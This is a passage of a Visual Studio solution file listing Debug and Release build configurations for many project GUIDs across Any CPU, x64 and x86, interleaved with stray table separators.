{5B5BD587-7DCA-4306-B1C3-83A70D755F37}.Release|x86.Build.0 = Release|x86
|
||||
{74B393F3-4000-49AC-8116-DCCDB5F52344}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
|
||||
{74B393F3-4000-49AC-8116-DCCDB5F52344}.Debug|Any CPU.Build.0 = Debug|Any CPU
|
||||
{74B393F3-4000-49AC-8116-DCCDB5F52344}.Debug|x64.ActiveCfg = Debug|x64
|
||||
{74B393F3-4000-49AC-8116-DCCDB5F52344}.Debug|x64.Build.0 = Debug|x64
|
||||
{74B393F3-4000-49AC-8116-DCCDB5F52344}.Debug|x86.ActiveCfg = Debug|x64
|
||||
{74B393F3-4000-49AC-8116-DCCDB5F52344}.Debug|x86.Build.0 = Debug|x64
|
||||
{74B393F3-4000-49AC-8116-DCCDB5F52344}.Release|Any CPU.ActiveCfg = Release|Any CPU
|
||||
{74B393F3-4000-49AC-8116-DCCDB5F52344}.Release|Any CPU.Build.0 = Release|Any CPU
|
||||
{74B393F3-4000-49AC-8116-DCCDB5F52344}.Release|x64.ActiveCfg = Release|x64
|
||||
{74B393F3-4000-49AC-8116-DCCDB5F52344}.Release|x64.Build.0 = Release|x64
|
||||
{74B393F3-4000-49AC-8116-DCCDB5F52344}.Release|x86.ActiveCfg = Release|x86
|
||||
{74B393F3-4000-49AC-8116-DCCDB5F52344}.Release|x86.Build.0 = Release|x86
|
||||
{C8FC8D87-30DB-4FC5-880A-9CD7D156127A}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
|
||||
{C8FC8D87-30DB-4FC5-880A-9CD7D156127A}.Debug|Any CPU.Build.0 = Debug|Any CPU
|
||||
{C8FC8D87-30DB-4FC5-880A-9CD7D156127A}.Debug|x64.ActiveCfg = Debug|x64
|
||||
{C8FC8D87-30DB-4FC5-880A-9CD7D156127A}.Debug|x64.Build.0 = Debug|x64
|
||||
{C8FC8D87-30DB-4FC5-880A-9CD7D156127A}.Debug|x86.ActiveCfg = Debug|x64
|
||||
{C8FC8D87-30DB-4FC5-880A-9CD7D156127A}.Debug|x86.Build.0 = Debug|x64
|
||||
{C8FC8D87-30DB-4FC5-880A-9CD7D156127A}.Release|Any CPU.ActiveCfg = Release|Any CPU
|
||||
{C8FC8D87-30DB-4FC5-880A-9CD7D156127A}.Release|Any CPU.Build.0 = Release|Any CPU
|
||||
{C8FC8D87-30DB-4FC5-880A-9CD7D156127A}.Release|x64.ActiveCfg = Release|x64
|
||||
{C8FC8D87-30DB-4FC5-880A-9CD7D156127A}.Release|x64.Build.0 = Release|x64
|
||||
{C8FC8D87-30DB-4FC5-880A-9CD7D156127A}.Release|x86.ActiveCfg = Release|x86
|
||||
{C8FC8D87-30DB-4FC5-880A-9CD7D156127A}.Release|x86.Build.0 = Release|x86
|
||||
{ED320CE0-C28F-4B07-A353-9B14C261E8A3}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
|
||||
{ED320CE0-C28F-4B07-A353-9B14C261E8A3}.Debug|Any CPU.Build.0 = Debug|Any CPU
|
||||
{ED320CE0-C28F-4B07-A353-9B14C261E8A3}.Debug|x64.ActiveCfg = Debug|x64
|
||||
{ED320CE0-C28F-4B07-A353-9B14C261E8A3}.Debug|x64.Build.0 = Debug|x64
|
||||
{ED320CE0-C28F-4B07-A353-9B14C261E8A3}.Debug|x86.ActiveCfg = Debug|x64
|
||||
{ED320CE0-C28F-4B07-A353-9B14C261E8A3}.Debug|x86.Build.0 = Debug|x64
|
||||
{ED320CE0-C28F-4B07-A353-9B14C261E8A3}.Release|Any CPU.ActiveCfg = Release|Any CPU
|
||||
{ED320CE0-C28F-4B07-A353-9B14C261E8A3}.Release|Any CPU.Build.0 = Release|Any CPU
|
||||
{ED320CE0-C28F-4B07-A353-9B14C261E8A3}.Release|x64.ActiveCfg = Release|x64
|
||||
{ED320CE0-C28F-4B07-A353-9B14C261E8A3}.Release|x64.Build.0 = Release|x64
|
||||
{ED320CE0-C28F-4B07-A353-9B14C261E8A3}.Release|x86.ActiveCfg = Release|x86
|
||||
{ED320CE0-C28F-4B07-A353-9B14C261E8A3}.Release|x86.Build.0 = Release|x86
|
||||
{F606A86C-39AF-4B5A-B146-F14EDC1D762C}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
|
||||
{F606A86C-39AF-4B5A-B146-F14EDC1D762C}.Debug|Any CPU.Build.0 = Debug|Any CPU
|
||||
{F606A86C-39AF-4B5A-B146-F14EDC1D762C}.Debug|x64.ActiveCfg = Debug|x64
|
||||
{F606A86C-39AF-4B5A-B146-F14EDC1D762C}.Debug|x64.Build.0 = Debug|x64
|
||||
{F606A86C-39AF-4B5A-B146-F14EDC1D762C}.Debug|x86.ActiveCfg = Debug|x64
|
||||
{F606A86C-39AF-4B5A-B146-F14EDC1D762C}.Debug|x86.Build.0 = Debug|x64
|
||||
{F606A86C-39AF-4B5A-B146-F14EDC1D762C}.Release|Any CPU.ActiveCfg = Release|Any CPU
|
||||
{F606A86C-39AF-4B5A-B146-F14EDC1D762C}.Release|Any CPU.Build.0 = Release|Any CPU
|
||||
{F606A86C-39AF-4B5A-B146-F14EDC1D762C}.Release|x64.ActiveCfg = Release|x64
|
||||
{F606A86C-39AF-4B5A-B146-F14EDC1D762C}.Release|x64.Build.0 = Release|x64
|
||||
{F606A86C-39AF-4B5A-B146-F14EDC1D762C}.Release|x86.ActiveCfg = Release|x86
|
||||
{F606A86C-39AF-4B5A-B146-F14EDC1D762C}.Release|x86.Build.0 = Release|x86
|
||||
{3AF39094-7F42-4444-A278-FA656EB4678F}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
|
||||
{3AF39094-7F42-4444-A278-FA656EB4678F}.Debug|Any CPU.Build.0 = Debug|Any CPU
|
||||
{3AF39094-7F42-4444-A278-FA656EB4678F}.Debug|x64.ActiveCfg = Debug|x64
|
||||
{3AF39094-7F42-4444-A278-FA656EB4678F}.Debug|x64.Build.0 = Debug|x64
|
||||
{3AF39094-7F42-4444-A278-FA656EB4678F}.Debug|x86.ActiveCfg = Debug|x64
|
||||
{3AF39094-7F42-4444-A278-FA656EB4678F}.Debug|x86.Build.0 = Debug|x64
|
||||
{3AF39094-7F42-4444-A278-FA656EB4678F}.Release|Any CPU.ActiveCfg = Release|Any CPU
|
||||
{3AF39094-7F42-4444-A278-FA656EB4678F}.Release|Any CPU.Build.0 = Release|Any CPU
|
||||
{3AF39094-7F42-4444-A278-FA656EB4678F}.Release|x64.ActiveCfg = Release|x64
|
||||
{3AF39094-7F42-4444-A278-FA656EB4678F}.Release|x64.Build.0 = Release|x64
|
||||
{3AF39094-7F42-4444-A278-FA656EB4678F}.Release|x86.ActiveCfg = Release|x86
|
||||
{3AF39094-7F42-4444-A278-FA656EB4678F}.Release|x86.Build.0 = Release|x86
|
||||
{B9BDA393-C258-44D3-8266-D62265008BD4}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
|
||||
{B9BDA393-C258-44D3-8266-D62265008BD4}.Debug|Any CPU.Build.0 = Debug|Any CPU
|
||||
{B9BDA393-C258-44D3-8266-D62265008BD4}.Debug|x64.ActiveCfg = Debug|x64
|
||||
{B9BDA393-C258-44D3-8266-D62265008BD4}.Debug|x64.Build.0 = Debug|x64
|
||||
{B9BDA393-C258-44D3-8266-D62265008BD4}.Debug|x86.ActiveCfg = Debug|x64
|
||||
{B9BDA393-C258-44D3-8266-D62265008BD4}.Debug|x86.Build.0 = Debug|x64
|
||||
{B9BDA393-C258-44D3-8266-D62265008BD4}.Release|Any CPU.ActiveCfg = Release|Any CPU
|
||||
{B9BDA393-C258-44D3-8266-D62265008BD4}.Release|Any CPU.Build.0 = Release|Any CPU
|
||||
{B9BDA393-C258-44D3-8266-D62265008BD4}.Release|x64.ActiveCfg = Release|x64
|
||||
{B9BDA393-C258-44D3-8266-D62265008BD4}.Release|x64.Build.0 = Release|x64
|
||||
{B9BDA393-C258-44D3-8266-D62265008BD4}.Release|x86.ActiveCfg = Release|x86
|
||||
{B9BDA393-C258-44D3-8266-D62265008BD4}.Release|x86.Build.0 = Release|x86
|
||||
{ADD40B1E-3C2E-4046-B574-FA0ED70FC64D}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
|
||||
{ADD40B1E-3C2E-4046-B574-FA0ED70FC64D}.Debug|Any CPU.Build.0 = Debug|Any CPU
|
||||
{ADD40B1E-3C2E-4046-B574-FA0ED70FC64D}.Debug|x64.ActiveCfg = Debug|x64
|
||||
{ADD40B1E-3C2E-4046-B574-FA0ED70FC64D}.Debug|x64.Build.0 = Debug|x64
|
||||
{ADD40B1E-3C2E-4046-B574-FA0ED70FC64D}.Debug|x86.ActiveCfg = Debug|x64
|
||||
{ADD40B1E-3C2E-4046-B574-FA0ED70FC64D}.Debug|x86.Build.0 = Debug|x64
|
||||
{ADD40B1E-3C2E-4046-B574-FA0ED70FC64D}.Release|Any CPU.ActiveCfg = Release|Any CPU
|
||||
{ADD40B1E-3C2E-4046-B574-FA0ED70FC64D}.Release|Any CPU.Build.0 = Release|Any CPU
|
||||
{ADD40B1E-3C2E-4046-B574-FA0ED70FC64D}.Release|x64.ActiveCfg = Release|x64
|
||||
{ADD40B1E-3C2E-4046-B574-FA0ED70FC64D}.Release|x64.Build.0 = Release|x64
|
||||
{ADD40B1E-3C2E-4046-B574-FA0ED70FC64D}.Release|x86.ActiveCfg = Release|x86
|
||||
{ADD40B1E-3C2E-4046-B574-FA0ED70FC64D}.Release|x86.Build.0 = Release|x86
|
||||
{E4724425-FC2D-40AE-9506-553D5D9DD929}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
|
||||
{E4724425-FC2D-40AE-9506-553D5D9DD929}.Debug|Any CPU.Build.0 = Debug|Any CPU
|
||||
{E4724425-FC2D-40AE-9506-553D5D9DD929}.Debug|x64.ActiveCfg = Debug|x64
|
||||
{E4724425-FC2D-40AE-9506-553D5D9DD929}.Debug|x64.Build.0 = Debug|x64
|
||||
{E4724425-FC2D-40AE-9506-553D5D9DD929}.Debug|x86.ActiveCfg = Debug|x64
|
||||
{E4724425-FC2D-40AE-9506-553D5D9DD929}.Debug|x86.Build.0 = Debug|x64
|
||||
{E4724425-FC2D-40AE-9506-553D5D9DD929}.Release|Any CPU.ActiveCfg = Release|Any CPU
|
||||
{E4724425-FC2D-40AE-9506-553D5D9DD929}.Release|Any CPU.Build.0 = Release|Any CPU
|
||||
{E4724425-FC2D-40AE-9506-553D5D9DD929}.Release|x64.ActiveCfg = Release|x64
|
||||
{E4724425-FC2D-40AE-9506-553D5D9DD929}.Release|x64.Build.0 = Release|x64
|
||||
{E4724425-FC2D-40AE-9506-553D5D9DD929}.Release|x86.ActiveCfg = Release|x86
|
||||
{E4724425-FC2D-40AE-9506-553D5D9DD929}.Release|x86.Build.0 = Release|x86
|
||||
{6008A59E-80A4-4790-8FE3-01DE201D71B3}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
|
||||
{6008A59E-80A4-4790-8FE3-01DE201D71B3}.Debug|Any CPU.Build.0 = Debug|Any CPU
|
||||
{6008A59E-80A4-4790-8FE3-01DE201D71B3}.Debug|x64.ActiveCfg = Debug|x64
|
||||
{6008A59E-80A4-4790-8FE3-01DE201D71B3}.Debug|x64.Build.0 = Debug|x64
|
||||
{6008A59E-80A4-4790-8FE3-01DE201D71B3}.Debug|x86.ActiveCfg = Debug|x64
|
||||
{6008A59E-80A4-4790-8FE3-01DE201D71B3}.Debug|x86.Build.0 = Debug|x64
|
||||
{6008A59E-80A4-4790-8FE3-01DE201D71B3}.Release|Any CPU.ActiveCfg = Release|Any CPU
|
||||
{6008A59E-80A4-4790-8FE3-01DE201D71B3}.Release|Any CPU.Build.0 = Release|Any CPU
|
||||
{6008A59E-80A4-4790-8FE3-01DE201D71B3}.Release|x64.ActiveCfg = Release|x64
|
||||
{6008A59E-80A4-4790-8FE3-01DE201D71B3}.Release|x64.Build.0 = Release|x64
|
||||
{6008A59E-80A4-4790-8FE3-01DE201D71B3}.Release|x86.ActiveCfg = Release|x86
|
||||
{6008A59E-80A4-4790-8FE3-01DE201D71B3}.Release|x86.Build.0 = Release|x86
|
||||
{8806CD1D-AA64-4E9F-91C7-B579765549B0}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
|
||||
{8806CD1D-AA64-4E9F-91C7-B579765549B0}.Debug|Any CPU.Build.0 = Debug|Any CPU
|
||||
{8806CD1D-AA64-4E9F-91C7-B579765549B0}.Debug|x64.ActiveCfg = Debug|x64
|
||||
{8806CD1D-AA64-4E9F-91C7-B579765549B0}.Debug|x64.Build.0 = Debug|x64
|
||||
{8806CD1D-AA64-4E9F-91C7-B579765549B0}.Debug|x86.ActiveCfg = Debug|x64
|
||||
{8806CD1D-AA64-4E9F-91C7-B579765549B0}.Debug|x86.Build.0 = Debug|x64
|
||||
{8806CD1D-AA64-4E9F-91C7-B579765549B0}.Release|Any CPU.ActiveCfg = Release|Any CPU
|
||||
{8806CD1D-AA64-4E9F-91C7-B579765549B0}.Release|Any CPU.Build.0 = Release|Any CPU
|
||||
{8806CD1D-AA64-4E9F-91C7-B579765549B0}.Release|x64.ActiveCfg = Release|x64
|
||||
{8806CD1D-AA64-4E9F-91C7-B579765549B0}.Release|x64.Build.0 = Release|x64
|
||||
{8806CD1D-AA64-4E9F-91C7-B579765549B0}.Release|x86.ActiveCfg = Release|x86
|
||||
{8806CD1D-AA64-4E9F-91C7-B579765549B0}.Release|x86.Build.0 = Release|x86
|
||||
{21B9B3FA-ACBF-4ED2-A0BB-2782E708F6F9}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
|
||||
{21B9B3FA-ACBF-4ED2-A0BB-2782E708F6F9}.Debug|Any CPU.Build.0 = Debug|Any CPU
|
||||
{21B9B3FA-ACBF-4ED2-A0BB-2782E708F6F9}.Debug|x64.ActiveCfg = Debug|x64
|
||||
{21B9B3FA-ACBF-4ED2-A0BB-2782E708F6F9}.Debug|x64.Build.0 = Debug|x64
|
||||
{21B9B3FA-ACBF-4ED2-A0BB-2782E708F6F9}.Debug|x86.ActiveCfg = Debug|x64
|
||||
{21B9B3FA-ACBF-4ED2-A0BB-2782E708F6F9}.Debug|x86.Build.0 = Debug|x64
|
||||
{21B9B3FA-ACBF-4ED2-A0BB-2782E708F6F9}.Release|Any CPU.ActiveCfg = Release|Any CPU
|
||||
{21B9B3FA-ACBF-4ED2-A0BB-2782E708F6F9}.Release|Any CPU.Build.0 = Release|Any CPU
|
||||
{21B9B3FA-ACBF-4ED2-A0BB-2782E708F6F9}.Release|x64.ActiveCfg = Release|x64
|
||||
{21B9B3FA-ACBF-4ED2-A0BB-2782E708F6F9}.Release|x64.Build.0 = Release|x64
|
||||
{21B9B3FA-ACBF-4ED2-A0BB-2782E708F6F9}.Release|x86.ActiveCfg = Release|x86
|
||||
{21B9B3FA-ACBF-4ED2-A0BB-2782E708F6F9}.Release|x86.Build.0 = Release|x86
|
||||
{1D897A8A-1394-4561-B31C-D8312462500C}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
|
||||
{1D897A8A-1394-4561-B31C-D8312462500C}.Debug|Any CPU.Build.0 = Debug|Any CPU
|
||||
{1D897A8A-1394-4561-B31C-D8312462500C}.Debug|x64.ActiveCfg = Debug|x64
|
||||
{1D897A8A-1394-4561-B31C-D8312462500C}.Debug|x64.Build.0 = Debug|x64
|
||||
{1D897A8A-1394-4561-B31C-D8312462500C}.Debug|x86.ActiveCfg = Debug|x64
|
||||
{1D897A8A-1394-4561-B31C-D8312462500C}.Debug|x86.Build.0 = Debug|x64
|
||||
{1D897A8A-1394-4561-B31C-D8312462500C}.Release|Any CPU.ActiveCfg = Release|Any CPU
|
||||
{1D897A8A-1394-4561-B31C-D8312462500C}.Release|Any CPU.Build.0 = Release|Any CPU
|
||||
{1D897A8A-1394-4561-B31C-D8312462500C}.Release|x64.ActiveCfg = Release|x64
|
||||
{1D897A8A-1394-4561-B31C-D8312462500C}.Release|x64.Build.0 = Release|x64
|
||||
{1D897A8A-1394-4561-B31C-D8312462500C}.Release|x86.ActiveCfg = Release|x86
|
||||
{1D897A8A-1394-4561-B31C-D8312462500C}.Release|x86.Build.0 = Release|x86
|
||||
{E05B7224-D965-422C-9B12-E6DEE1BFAC64}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
|
||||
{E05B7224-D965-422C-9B12-E6DEE1BFAC64}.Debug|Any CPU.Build.0 = Debug|Any CPU
|
||||
{E05B7224-D965-422C-9B12-E6DEE1BFAC64}.Debug|x64.ActiveCfg = Debug|x64
|
||||
{E05B7224-D965-422C-9B12-E6DEE1BFAC64}.Debug|x64.Build.0 = Debug|x64
|
||||
{E05B7224-D965-422C-9B12-E6DEE1BFAC64}.Debug|x86.ActiveCfg = Debug|x64
|
||||
{E05B7224-D965-422C-9B12-E6DEE1BFAC64}.Debug|x86.Build.0 = Debug|x64
|
||||
{E05B7224-D965-422C-9B12-E6DEE1BFAC64}.Release|Any CPU.ActiveCfg = Release|Any CPU
|
||||
{E05B7224-D965-422C-9B12-E6DEE1BFAC64}.Release|Any CPU.Build.0 = Release|Any CPU
|
||||
{E05B7224-D965-422C-9B12-E6DEE1BFAC64}.Release|x64.ActiveCfg = Release|x64
|
||||
{E05B7224-D965-422C-9B12-E6DEE1BFAC64}.Release|x64.Build.0 = Release|x64
|
||||
{E05B7224-D965-422C-9B12-E6DEE1BFAC64}.Release|x86.ActiveCfg = Release|x86
|
||||
{E05B7224-D965-422C-9B12-E6DEE1BFAC64}.Release|x86.Build.0 = Release|x86
|
||||
{6EACC51E-1E46-4C6F-9516-B71F09AD00D1}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
|
||||
{6EACC51E-1E46-4C6F-9516-B71F09AD00D1}.Debug|Any CPU.Build.0 = Debug|Any CPU
|
||||
{6EACC51E-1E46-4C6F-9516-B71F09AD00D1}.Debug|x64.ActiveCfg = Debug|x64
|
||||
{6EACC51E-1E46-4C6F-9516-B71F09AD00D1}.Debug|x64.Build.0 = Debug|x64
|
||||
{6EACC51E-1E46-4C6F-9516-B71F09AD00D1}.Debug|x86.ActiveCfg = Debug|x64
|
||||
{6EACC51E-1E46-4C6F-9516-B71F09AD00D1}.Debug|x86.Build.0 = Debug|x64
|
||||
{6EACC51E-1E46-4C6F-9516-B71F09AD00D1}.Release|Any CPU.ActiveCfg = Release|Any CPU
|
||||
{6EACC51E-1E46-4C6F-9516-B71F09AD00D1}.Release|Any CPU.Build.0 = Release|Any CPU
|
||||
{6EACC51E-1E46-4C6F-9516-B71F09AD00D1}.Release|x64.ActiveCfg = Release|x64
|
||||
{6EACC51E-1E46-4C6F-9516-B71F09AD00D1}.Release|x64.Build.0 = Release|x64
|
||||
{6EACC51E-1E46-4C6F-9516-B71F09AD00D1}.Release|x86.ActiveCfg = Release|x86
|
||||
{6EACC51E-1E46-4C6F-9516-B71F09AD00D1}.Release|x86.Build.0 = Release|x86
|
||||
{44D50BF5-4C12-4328-B983-0045C157D932}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
|
||||
{44D50BF5-4C12-4328-B983-0045C157D932}.Debug|Any CPU.Build.0 = Debug|Any CPU
|
||||
{44D50BF5-4C12-4328-B983-0045C157D932}.Debug|x64.ActiveCfg = Debug|x64
|
||||
{44D50BF5-4C12-4328-B983-0045C157D932}.Debug|x64.Build.0 = Debug|x64
|
||||
{44D50BF5-4C12-4328-B983-0045C157D932}.Debug|x86.ActiveCfg = Debug|x64
|
||||
{44D50BF5-4C12-4328-B983-0045C157D932}.Debug|x86.Build.0 = Debug|x64
|
||||
{44D50BF5-4C12-4328-B983-0045C157D932}.Release|Any CPU.ActiveCfg = Release|Any CPU
|
||||
{44D50BF5-4C12-4328-B983-0045C157D932}.Release|Any CPU.Build.0 = Release|Any CPU
|
||||
{44D50BF5-4C12-4328-B983-0045C157D932}.Release|x64.ActiveCfg = Release|x64
|
||||
{44D50BF5-4C12-4328-B983-0045C157D932}.Release|x64.Build.0 = Release|x64
|
||||
{44D50BF5-4C12-4328-B983-0045C157D932}.Release|x86.ActiveCfg = Release|x86
|
||||
{44D50BF5-4C12-4328-B983-0045C157D932}.Release|x86.Build.0 = Release|x86
|
||||
{2C98A07C-F4CD-486C-BBAB-EB6B6CDE1A35}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
|
||||
{2C98A07C-F4CD-486C-BBAB-EB6B6CDE1A35}.Debug|Any CPU.Build.0 = Debug|Any CPU
|
||||
{2C98A07C-F4CD-486C-BBAB-EB6B6CDE1A35}.Debug|x64.ActiveCfg = Debug|x64
|
||||
{2C98A07C-F4CD-486C-BBAB-EB6B6CDE1A35}.Debug|x64.Build.0 = Debug|x64
|
||||
{2C98A07C-F4CD-486C-BBAB-EB6B6CDE1A35}.Debug|x86.ActiveCfg = Debug|x64
|
||||
{2C98A07C-F4CD-486C-BBAB-EB6B6CDE1A35}.Debug|x86.Build.0 = Debug|x64
|
||||
{2C98A07C-F4CD-486C-BBAB-EB6B6CDE1A35}.Release|Any CPU.ActiveCfg = Release|Any CPU
|
||||
{2C98A07C-F4CD-486C-BBAB-EB6B6CDE1A35}.Release|Any CPU.Build.0 = Release|Any CPU
|
||||
{2C98A07C-F4CD-486C-BBAB-EB6B6CDE1A35}.Release|x64.ActiveCfg = Release|x64
|
||||
{2C98A07C-F4CD-486C-BBAB-EB6B6CDE1A35}.Release|x64.Build.0 = Release|x64
|
||||
{2C98A07C-F4CD-486C-BBAB-EB6B6CDE1A35}.Release|x86.ActiveCfg = Release|x86
|
||||
{2C98A07C-F4CD-486C-BBAB-EB6B6CDE1A35}.Release|x86.Build.0 = Release|x86
|
||||
{6CA1FF03-8102-41D5-9D57-CC2DA346D684}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
|
||||
{6CA1FF03-8102-41D5-9D57-CC2DA346D684}.Debug|Any CPU.Build.0 = Debug|Any CPU
|
||||
{6CA1FF03-8102-41D5-9D57-CC2DA346D684}.Debug|x64.ActiveCfg = Debug|x64
|
||||
{6CA1FF03-8102-41D5-9D57-CC2DA346D684}.Debug|x64.Build.0 = Debug|x64
|
||||
{6CA1FF03-8102-41D5-9D57-CC2DA346D684}.Debug|x86.ActiveCfg = Debug|x64
|
||||
{6CA1FF03-8102-41D5-9D57-CC2DA346D684}.Debug|x86.Build.0 = Debug|x64
|
||||
{6CA1FF03-8102-41D5-9D57-CC2DA346D684}.Release|Any CPU.ActiveCfg = Release|Any CPU
|
||||
{6CA1FF03-8102-41D5-9D57-CC2DA346D684}.Release|Any CPU.Build.0 = Release|Any CPU
|
||||
{6CA1FF03-8102-41D5-9D57-CC2DA346D684}.Release|x64.ActiveCfg = Release|x64
|
||||
{6CA1FF03-8102-41D5-9D57-CC2DA346D684}.Release|x64.Build.0 = Release|x64
|
||||
{6CA1FF03-8102-41D5-9D57-CC2DA346D684}.Release|x86.ActiveCfg = Release|x86
|
||||
{6CA1FF03-8102-41D5-9D57-CC2DA346D684}.Release|x86.Build.0 = Release|x86
|
||||
{74855A66-CD77-4CCA-AFD9-09E275E47591}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
|
||||
{74855A66-CD77-4CCA-AFD9-09E275E47591}.Debug|Any CPU.Build.0 = Debug|Any CPU
|
||||
{74855A66-CD77-4CCA-AFD9-09E275E47591}.Debug|x64.ActiveCfg = Debug|x64
|
||||
{74855A66-CD77-4CCA-AFD9-09E275E47591}.Debug|x64.Build.0 = Debug|x64
|
||||
{74855A66-CD77-4CCA-AFD9-09E275E47591}.Debug|x86.ActiveCfg = Debug|Any CPU
|
||||
{74855A66-CD77-4CCA-AFD9-09E275E47591}.Debug|x86.Build.0 = Debug|Any CPU
|
||||
{74855A66-CD77-4CCA-AFD9-09E275E47591}.Release|Any CPU.ActiveCfg = Release|Any CPU
|
||||
{74855A66-CD77-4CCA-AFD9-09E275E47591}.Release|Any CPU.Build.0 = Release|Any CPU
|
||||
{74855A66-CD77-4CCA-AFD9-09E275E47591}.Release|x64.ActiveCfg = Release|Any CPU
|
||||
{74855A66-CD77-4CCA-AFD9-09E275E47591}.Release|x64.Build.0 = Release|Any CPU
|
||||
{74855A66-CD77-4CCA-AFD9-09E275E47591}.Release|x86.ActiveCfg = Release|Any CPU
|
||||
{74855A66-CD77-4CCA-AFD9-09E275E47591}.Release|x86.Build.0 = Release|Any CPU
|
||||
{2EA76D5F-44EB-4B41-8752-0A9380E5A28A}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
|
||||
{2EA76D5F-44EB-4B41-8752-0A9380E5A28A}.Debug|Any CPU.Build.0 = Debug|Any CPU
|
||||
{2EA76D5F-44EB-4B41-8752-0A9380E5A28A}.Debug|x64.ActiveCfg = Debug|Any CPU
|
||||
{2EA76D5F-44EB-4B41-8752-0A9380E5A28A}.Debug|x64.Build.0 = Debug|Any CPU
|
||||
{2EA76D5F-44EB-4B41-8752-0A9380E5A28A}.Debug|x86.ActiveCfg = Debug|Any CPU
|
||||
{2EA76D5F-44EB-4B41-8752-0A9380E5A28A}.Debug|x86.Build.0 = Debug|Any CPU
|
||||
{2EA76D5F-44EB-4B41-8752-0A9380E5A28A}.Release|Any CPU.ActiveCfg = Release|Any CPU
|
||||
{2EA76D5F-44EB-4B41-8752-0A9380E5A28A}.Release|Any CPU.Build.0 = Release|Any CPU
|
||||
{2EA76D5F-44EB-4B41-8752-0A9380E5A28A}.Release|x64.ActiveCfg = Release|Any CPU
|
||||
{2EA76D5F-44EB-4B41-8752-0A9380E5A28A}.Release|x64.Build.0 = Release|Any CPU
|
||||
{2EA76D5F-44EB-4B41-8752-0A9380E5A28A}.Release|x86.ActiveCfg = Release|Any CPU
|
||||
{2EA76D5F-44EB-4B41-8752-0A9380E5A28A}.Release|x86.Build.0 = Release|Any CPU
|
||||
{8F530743-F632-41FC-BBEA-B6727542A719}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
|
||||
{8F530743-F632-41FC-BBEA-B6727542A719}.Debug|Any CPU.Build.0 = Debug|Any CPU
|
||||
{8F530743-F632-41FC-BBEA-B6727542A719}.Debug|x64.ActiveCfg = Debug|x64
|
||||
{8F530743-F632-41FC-BBEA-B6727542A719}.Debug|x64.Build.0 = Debug|x64
|
||||
{8F530743-F632-41FC-BBEA-B6727542A719}.Debug|x86.ActiveCfg = Debug|x86
|
||||
{8F530743-F632-41FC-BBEA-B6727542A719}.Debug|x86.Build.0 = Debug|x86
|
||||
{8F530743-F632-41FC-BBEA-B6727542A719}.Release|Any CPU.ActiveCfg = Release|Any CPU
|
||||
{8F530743-F632-41FC-BBEA-B6727542A719}.Release|Any CPU.Build.0 = Release|Any CPU
|
||||
{8F530743-F632-41FC-BBEA-B6727542A719}.Release|x64.ActiveCfg = Release|x64
|
||||
{8F530743-F632-41FC-BBEA-B6727542A719}.Release|x64.Build.0 = Release|x64
|
||||
{8F530743-F632-41FC-BBEA-B6727542A719}.Release|x86.ActiveCfg = Release|x86
|
||||
{8F530743-F632-41FC-BBEA-B6727542A719}.Release|x86.Build.0 = Release|x86
|
||||
{92E783D2-0C9D-490E-AC6B-F3ED6520F12B}.Debug|Any CPU.ActiveCfg = Debug|Win32
|
||||
{92E783D2-0C9D-490E-AC6B-F3ED6520F12B}.Debug|x64.ActiveCfg = Debug|x64
|
||||
{92E783D2-0C9D-490E-AC6B-F3ED6520F12B}.Debug|x86.ActiveCfg = Debug|Win32
|
||||
{92E783D2-0C9D-490E-AC6B-F3ED6520F12B}.Debug|x86.Build.0 = Debug|Win32
|
||||
{92E783D2-0C9D-490E-AC6B-F3ED6520F12B}.Release|Any CPU.ActiveCfg = Debug|Win32
|
||||
{92E783D2-0C9D-490E-AC6B-F3ED6520F12B}.Release|x64.ActiveCfg = Release|x64
|
||||
{92E783D2-0C9D-490E-AC6B-F3ED6520F12B}.Release|x86.ActiveCfg = Release|Win32
|
||||
{92E783D2-0C9D-490E-AC6B-F3ED6520F12B}.Release|x86.Build.0 = Release|Win32
|
||||
{A1B2C3D4-E5F6-7890-ABCD-EF1234567890}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
|
||||
{A1B2C3D4-E5F6-7890-ABCD-EF1234567890}.Debug|Any CPU.Build.0 = Debug|Any CPU
|
||||
{A1B2C3D4-E5F6-7890-ABCD-EF1234567890}.Debug|x64.ActiveCfg = Debug|x64
|
||||
{A1B2C3D4-E5F6-7890-ABCD-EF1234567890}.Debug|x64.Build.0 = Debug|x64
|
||||
{A1B2C3D4-E5F6-7890-ABCD-EF1234567890}.Debug|x86.ActiveCfg = Debug|x64
|
||||
{A1B2C3D4-E5F6-7890-ABCD-EF1234567890}.Debug|x86.Build.0 = Debug|x64
|
||||
{A1B2C3D4-E5F6-7890-ABCD-EF1234567890}.Release|Any CPU.ActiveCfg = Release|Any CPU
|
||||
{A1B2C3D4-E5F6-7890-ABCD-EF1234567890}.Release|Any CPU.Build.0 = Release|Any CPU
|
||||
{A1B2C3D4-E5F6-7890-ABCD-EF1234567890}.Release|x64.ActiveCfg = Release|x64
|
||||
{A1B2C3D4-E5F6-7890-ABCD-EF1234567890}.Release|x64.Build.0 = Release|x64
|
||||
{A1B2C3D4-E5F6-7890-ABCD-EF1234567890}.Release|x86.ActiveCfg = Release|x86
|
||||
{A1B2C3D4-E5F6-7890-ABCD-EF1234567890}.Release|x86.Build.0 = Release|x86
|
||||
{B9E30FDB-5D10-4986-97A1-556DB67BA0CD}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
|
||||
{B9E30FDB-5D10-4986-97A1-556DB67BA0CD}.Debug|Any CPU.Build.0 = Debug|Any CPU
|
||||
{B9E30FDB-5D10-4986-97A1-556DB67BA0CD}.Debug|x64.ActiveCfg = Debug|x64
|
||||
